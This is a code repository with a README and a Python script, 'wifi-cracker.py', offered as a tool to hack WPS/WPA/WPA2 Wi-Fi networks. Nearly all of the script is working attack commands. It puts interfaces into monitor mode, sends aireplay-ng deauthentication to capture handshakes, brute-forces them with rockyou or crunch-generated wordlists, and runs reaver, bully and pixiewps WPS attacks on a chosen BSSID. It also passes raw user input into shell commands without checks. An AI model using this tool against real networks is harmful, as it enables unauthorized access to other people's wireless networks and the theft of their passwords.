├── README.md └── wifi-cracker.py /README.md: -------------------------------------------------------------------------------- 1 | # wifi-cracker 2 | Wifi-Cracker.py to Hack WPS/WPA/WPA2 Networks 3 | 4 | # Wifi-Cracker.py 5 | 6 | Wifi-Cracker.py it Saves Time and Effort 7 | 8 | # Features 9 | 10 | 1)Start monitor mode 11 | 12 | 2)Stop monitor mode 13 | 14 | 3)Scan Networks 15 | 16 | 4)Getting Handshake 17 | 18 | 5)Create wordlist 19 | 20 | 6)Install Wireless tools 21 | 22 | 7)WPS Networks attacks 23 | 24 | 8)Scan for WPS Networks 25 | 26 | 9)Crack Handshake with rockyou.txt 27 | 28 | 10)Crack Handshake with wordlist 29 | 30 | 11)Crack Handshake without wordlist 31 | 32 | #Installation 33 | 1) sudo apt-get update && apt-get install git 34 | 2) sudo git clone https://github.com/TermuxHackz/wifi-cracker.git 35 | 3) cd Wifi-Cracker/ 36 | 4) sudo python3 wifi-cracker.py 37 | # Author 38 | (AnonyminHack5) 39 | 40 | Facebook: 41 | 42 | https://www.facebook.com/anonyminHack5 43 | 44 | #Enjoy 45 | -------------------------------------------------------------------------------- /wifi-cracker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import subprocess 4 | from subprocess import check_call 5 | print("\nInstalling Needed Tools") 6 | print("\n") 7 | cmd0 = os.system("apt-get install aircrack-ng crunch xterm wordlists reaver pixiewps bully xterm wifite") 8 | cmd = os.system("sleep 3 && clear") 9 | def intro(): 10 | cmd = os.system("clear") 11 | print("""\033[1;32m 12 | --------------------------------------------------------------------------------------- 13 | ██╗ ██╗██╗███████╗██╗ ██████╗██████╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ 14 | ██║ ██║██║██╔════╝██║ ██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ 15 | ██║ █╗ ██║██║█████╗ ██║█████╗██║ ██████╔╝███████║██║ █████╔╝ █████╗ ██████╔╝ 16 | ██║███╗██║██║██╔══╝ ██║╚════╝██║ ██╔══██╗██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ 17 | ╚███╔███╔╝██║██║ ██║ ╚██████╗██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ 18 | ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ 19 | Coded By AnoyminHack5 20 | --------------------------------------------------------------------------------------- 21 | (1)Start monitor mode 22 | (2)Stop monitor mode 23 | (3)Scan Networks 24 | (4)Getting Handshake(monitor mode needed) 25 | (5)Install Wireless tools 26 | (6)Crack Handshake with rockyou.txt (Handshake needed) 27 | (7)Crack Handshake with wordlist (Handshake needed) 28 | (8)Crack Handshake without wordlist (Handshake,essid needed) 29 | (9)Create wordlist 30 | (10)WPS Networks attacks (bssid,monitor mode needed) 31 | (11)Scan for WPS Networks 32 | 33 | (0)About Me 34 | (00)Exit 35 | ----------------------------------------------------------------------- 36 | """) 37 | print("\nEnter your choise here : !# ") 38 | var = int(input("")) 39 | if var == 1 : 40 | print("\nEnter the interface:(Default(wlan0/wlan1))") 41 | interface = input("") 42 | order = "airmon-ng start {} && airmon-ng check kill".format(interface) 43 | geny = os.system(order) 44 | intro() 45 | elif var == 2 : 46 | print("\nEnter the interface:(Default(wlan0mon/wlan1mon))") 47 | interface = input("") 48 | order = "airmon-ng stop {} && service network-manager restart".format(interface) 49 | geny = os.system(order) 50 | intro() 51 | elif var == 3 : 52 | print("\nEnter the interface:(Default >> (wlan0mon/wlan1mon))") 53 | interface = input("") 54 | order = "airodump-ng {} -M".format(interface) 55 | print("When Done Press CTRL+c") 56 | cmd = os.system("sleep 3") 57 | geny = os.system(order) 58 | cmd = os.system("sleep 10") 59 | intro() 60 | elif var == 4 : 61 | print("\nEnter the interface:(Default >>(wlan0mon/wlan1mon))") 62 | interface = input("") 63 | order = "airodump-ng {} -M".format(interface) 64 | print("\nWhen Done Press CTRL+c") 65 | print("\nNote: Under Probe it might be Passwords So copy them to the worlist file") 66 | print("\nDon't Attack The Network if its Data is ZERO (you waste your time)") 67 | print("\nyou Can use 's' to arrange networks") 68 | cmd = os.system("sleep 5") 69 | geny = os.system(order) 70 | print("\nEnter the bssid of the target?") 71 | bssid = str(input("")) 72 | print("\nEnter the channel of the network?") 73 | channel = int(input()) 74 | print("Enter the path of the output file ?") 75 | path = str(input("")) 76 | print("\nEnter the number of the packets [1-10000] ( 0 for unlimited number)") 77 | print("the number of the packets Depends on the Distance Between you and the network") 78 | dist = int(input("")) 79 | order = "airodump-ng {} --bssid {} -c {} -w {} | xterm -e aireplay-ng -0 {} -a {} {}".format(interface,bssid,channel,path,dist,bssid,interface) 80 | geny = os.system(order) 81 | intro() 82 | elif var == 5 : 83 | def wire(): 84 | cmd = os.system("clear") 85 | print(""" 86 | 1) Aircrack-ng 17) kalibrate-rtl 87 | 2) Asleap 18) KillerBee 88 | 3) Bluelog 19) Kismet 89 | 4) BlueMaho 20) mdk3 90 | 5) Bluepot 21) mfcuk 91 | 6) BlueRanger 22) mfoc 92 | 7) Bluesnarfer 23) mfterm 93 | 8) Bully 24) Multimon-NG 94 | 9) coWPAtty 25) PixieWPS 95 | 10) crackle 26) Reaver 96 | 11) eapmd5pass 27) redfang 97 | 12) Fern Wifi Cracker 28) RTLSDR Scanner 98 | 13) Ghost Phisher 29) Spooftooph 99 | 14) GISKismet 30) Wifi Honey 100 | 15) Wifitap 31) gr-scan 101 | 16) Wifite 32) Back to main menu 102 | 90) airgeddon 103 | 91) wifite v2 104 | 105 | 0)install all wireless tools 106 | """) 107 | w = int(input("Enter The number of the tool : >>> ")) 108 | if w == 1 : 109 | cmd = os.system("sudo apt-get update && apt-get install aircrack-ng") 110 | elif w == 90: 111 | print("sudo apt-get update && apt-get install git && git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git") 112 | elif w == 91: 113 | print("sudo apt-get update && apt-get install git && git clone https://github.com/derv82/wifite2.git") 114 | elif w == 2 : 115 | cmd = os.system("sudo apt-get update && apt-get install asleep") 116 | elif w == 3 : 117 | cmd = os.system("sudo apt-get update && apt-get install bluelog") 118 | elif w == 4 : 119 | cmd = os.system("sudo apt-get update && apt-get install bluemaho") 120 | elif w == 5 : 121 | cmd = os.system("sudo apt-get update && apt-get install bluepot") 122 | elif w == 6 : 123 | cmd = os.system("sudo apt-get update && apt-get install blueranger") 124 | elif w == 7 : 125 | cmd = os.system("sudo apt-get update && apt-get install bluesnarfer") 126 | elif w == 8 : 127 | cmd = os.system("sudo apt-get update && apt-get install bully") 128 | elif w == 9 : 129 | cmd = os.system("sudo apt-get update && apt-get install cowpatty") 130 | elif w == 10 : 131 | cmd = os.system("sudo apt-get update && apt-get install crackle") 132 | elif w == 11 : 133 | cmd = os.system("sudo apt-get update && apt-get install eapmd5pass") 134 | elif w == 12 : 135 | cmd = os.system("sudo apt-get update && apt-get install fern-wifi-cracker") 136 | elif w == 13 : 137 | cmd = os.system("sudo apt-get update && apt-get install ghost-phisher") 138 | elif w == 14 : 139 | cmd = os.system("sudo apt-get update && apt-get install giskismet") 140 | elif w == 15 : 141 | cmd = os.system("apt-get install git && git clone git://git.kali.org/packages/gr-scan.git") 142 | elif w == 16 : 143 | cmd = os.system("sudo apt-get update && apt-get install kalibrate-rtl") 144 | elif w == 17 : 145 | cmd = os.system("sudo apt-get update && apt-get install killerbee-ng") 146 | elif w == 18 : 147 | cmd = os.system("sudo apt-get update && apt-get install kismet") 148 | elif w == 19 : 149 | cmd = os.system("sudo apt-get update && apt-get install mdk3") 150 | elif w == 20 : 151 | cmd = os.system("sudo apt-get update && apt-get install mfcuk") 152 | elif w == 21 : 153 | cmd = os.system("sudo apt-get update && apt-get install mfoc") 154 | elif w == 22 : 155 | cmd = os.system("sudo apt-get update && apt-get install mfterm") 156 | elif w == 23 : 157 | cmd = os.system("sudo apt-get update && apt-get install multimon-ng") 158 | elif w == 24 : 159 | cmd = os.system("sudo apt-get update && apt-get install pixiewps") 160 | elif w == 25 : 161 | cmd = os.system("sudo apt-get update && apt-get install reaver") 162 | elif w == 26 : 163 | cmd = os.system("sudo apt-get update && apt-get install redfang") 164 | elif w == 27 : 165 | cmd = os.system("sudo apt-get update && apt-get install rtlsdr-scanner") 166 | elif w == 28 : 167 | cmd = os.system("sudo apt-get update && apt-get install spooftooph") 168 | elif w == 29 : 169 | cmd = os.system("sudo apt-get update && apt-get install wifi-honey") 170 | elif w == 30 : 171 | cmd = os.system("sudo apt-get update && apt-get install wifitap") 172 | elif w == 31 : 173 | cmd = os.system("sudo apt-get update && apt-get install wifite") 174 | elif w == 32 : 175 | intro() 176 | elif w == 0 : 177 | cmd = os.system("apt-get install -y aircrack-ng asleap bluelog blueranger bluesnarfer bully cowpatty crackle eapmd5pass fern-wifi-cracker ghost-phisher giskismet gqrx kalibrate-rtl killerbee kismet mdk3 mfcuk mfoc mfterm multimon-ng pixiewps reaver redfang spooftooph wifi-honey wifitap wifite") 178 | else: 179 | print("Not Found") 180 | wire() 181 | wire() 182 | elif var == 0 : 183 | cmd = os.system("clear") 184 | print(""" 185 | Hi. 186 | My Name is AnonyminHack5(Hacker-EG) from nowhere 187 | White hat hacker at legion hackers 188 | you find on Facebook 189 | 190 | https://www.facebook.com/anonyminHack5 191 | pease 192 | """) 193 | quit() 194 | elif var == 00: 195 | exit() 196 | elif var == 6: 197 | if os.path.exists("/usr/share/wordlists/rockyou.txt")==True: 198 | print("\nEnter the path of the handshake file ?") 199 | path = str(input("")) 200 | order = "aircrack-ng {} -w /usr/share/wordlists/rockyou.txt".format(path) 201 | print("\nTo exit Press CTRL +C") 202 | geny = os.system(order) 203 | sleep = os.system("sleep 3d") 204 | exit() 205 | elif os.path.exists("/usr/share/wordlists/rockyou.txt")==False: 206 | cmd = os.system("gzip -d /usr/share/wordlists/rockyou.txt.gz") 207 | print("\nEnter the path of the handshake file ?") 208 | path = str(input("")) 209 | order = "aircrack-ng {} -w /usr/share/wordlists/rockyou.txt".format(path) 210 | print("\nTo exit Press CTRL +C") 211 | geny = os.system(order) 212 | sleep = os.system("sleep 3d") 213 | exit() 214 | elif var == 7 : 215 | print("\nEnter the path of the handshake file ?") 216 | path = str(input("")) 217 | print("\nEnter the path of the wordlist ?") 218 | wordlist = str(input("")) 219 | order = ("aircrack-ng {} -w {}").format(path,wordlist) 220 | geny = os.system(order) 221 | exit() 222 | elif var == 8 : 223 | print("\nEnter the essid of the network ?(Be careful when you type it and use 'the name of the network') ") 224 | essid = str(input("")) 225 | print("\nEnter the path of the handshake file ?") 226 | path = str(input("")) 227 | print("\nEnter the minimum length of the password (8/64)?") 228 | mini = int(input("")) 229 | print("\nEnter the maximum length of the password (8/64)?") 230 | max = int(input("")) 231 | print(""" 232 | --------------------------------------------------------------------------------------- 233 | (1) Lowercase chars (abcdefghijklmnopqrstuvwxyz) 234 | (2) Uppercase chars (ABCDEFGHIJKLMNOPQRSTUVWXYZ) 235 | (3) Numeric chars (0123456789) 236 | (4) Symbol chars (!#$%/=?{}[]-*:;) 237 | (5) Lowercase + uppercase chars (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ) 238 | (6) Lowercase + numeric chars (abcdefghijklmnopqrstuvwxyz0123456789) 239 | (7) Uppercase + numeric chars (ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789) 240 | (8) Symbol + numeric chars (!#$%/=?{}[]-*:;0123456789) 241 | (9) Lowercase + uppercase + numeric chars (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789) 242 | (10) Lowercase + uppercase + symbol chars (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%/=?{}[]-*:;) 243 | (11) Lowercase + uppercase + numeric + symbol chars (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%/=?{}[]-*:;) 244 | (12) Your Own Words and numbers 245 | ----------------------------------------------------------------------------------------- 246 | Crack Password Could Take Hours,Days,Weeks,Months to complete 247 | and the speed of cracking will reduce because you generate a Huge,Huge Passwordlist 248 | may reach to Hundreds of TeRa Bits so Be patiant 249 | """) 250 | print("\nEnter your choise here : ?") 251 | set = str(input("")) 252 | if set == "1": 253 | test = str("abcdefghijklmnopqrstuvwxyz") 254 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 255 | geny = os.system(order) 256 | elif set == "2": 257 | test = str("ABCDEFGHIJKLMNOPQRSTUVWXYZ") 258 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 259 | geny = os.system(order) 260 | elif set == "3": 261 | test = str("0123456789") 262 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 263 | geny = os.system(order) 264 | elif set == "4": 265 | test = str("!#$%/=?{}[]-*:;") 266 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 267 | geny = os.system(order) 268 | elif set == "5": 269 | test = str("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 270 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 271 | geny = os.system(order) 272 | elif set == "6": 273 | test = str("abcdefghijklmnopqrstuvwxyz0123456789") 274 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 275 | geny = os.system(order) 276 | elif set == "7": 277 | test = str("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 278 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 279 | geny = os.system(order) 280 | elif set == "8": 281 | test = str("!#$%/=?{}[]-*:;0123456789") 282 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 283 | geny = os.system(order) 284 | elif set == "9": 285 | test = str("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 286 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 287 | geny = os.system(order) 288 | elif set == "10": 289 | test = str("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%/=?{}[]-*:;") 290 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 291 | geny = os.system(order) 292 | elif set == "11": 293 | test = str("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%/=?{}[]-*:;") 294 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 295 | geny = os.system(order) 296 | elif set == "12": 297 | print("Enter you Own Words and numbers") 298 | test = str(input("")) 299 | order = "crunch {} {} {} | aircrack-ng {} -e {} -w-".format(mini,max,test,path,essid) 300 | geny = os.system(order) 301 | else: 302 | print("\nNot Found") 303 | intro() 304 | print("Copy the Password and Close the tool") 305 | cmd5 = os.system("sleep 3d") 306 | elif var == 9 : 307 | print("\nEnter the minimum length of the password (8/64)?") 308 | mini = int(input("")) 309 | print("\nEnter the maximum length of the password (8/64)?") 310 | max = int(input("")) 311 | print("\nEnter the path of the output file?") 312 | path = str(input("")) 313 | print("\nEnter what you want the password contain ?") 314 | password = str(input("")) 315 | order = ("crunch {} {} {} -o {}").format(mini,max,password,path) 316 | geny = os.system(order) 317 | a = ("The wordlist in >>>>> {} Named as SRART").format(path) 318 | print(a) 319 | elif var == 10: 320 | cmd = os.system("clear") 321 | print(""" 322 | 1)Reaver 323 | 2)Bully 324 | 3)wifite (Recommeneded) 325 | 4)PixieWps 326 | 327 | 0) Back to Main Menu 328 | """) 329 | print("Choose the kind of the attack ?") 330 | attack = int(input("")) 331 | if attack == 1: 332 | print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon))") 333 | interface = str(input("")) 334 | print("\nEnter the bssid of the network ?") 335 | bssid = str(input("")) 336 | order = ("reaver -i {} -b {} -vv").format(interface,bssid) 337 | geny = os.system(order) 338 | intro() 339 | elif attack == 2: 340 | print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon)") 341 | interface = str(input("")) 342 | print("\nEnter the bssid of the network ?") 343 | bssid = str(input("")) 344 | print("\nEnter the channel of the network ?") 345 | channel = int(input("")) 346 | order = ("bully -b {} -c {} --pixiewps {}").format(bssid,channel,interface) 347 | geny = os.system(order) 348 | intro() 349 | elif attack == 3: 350 | cmd = os.system("wifite") 351 | intro() 352 | elif attack == 4: 353 | print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon)") 354 | interface = str(input("")) 355 | print("\nEnter the bssid of the network ?") 356 | bssid = str(input("")) 357 | order = ("reaver -i {} -b {} -K").format(interface,bssid) 358 | geny = os.system(order) 359 | intro() 360 | elif attack == 0 : 361 | intro() 362 | elif var == 11: 363 | print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon)") 364 | interface = str(input("")) 365 | order = "airodump-ng -M --wps {}".format(interface) 366 | geny = os.system(order) 367 | cmd = os.system("sleep 5 ") 368 | intro() 369 | else: 370 | print("Not Found") 371 | cmd = os.system("sleep 2") 372 | intro() 373 | intro() --------------------------------------------------------------------------------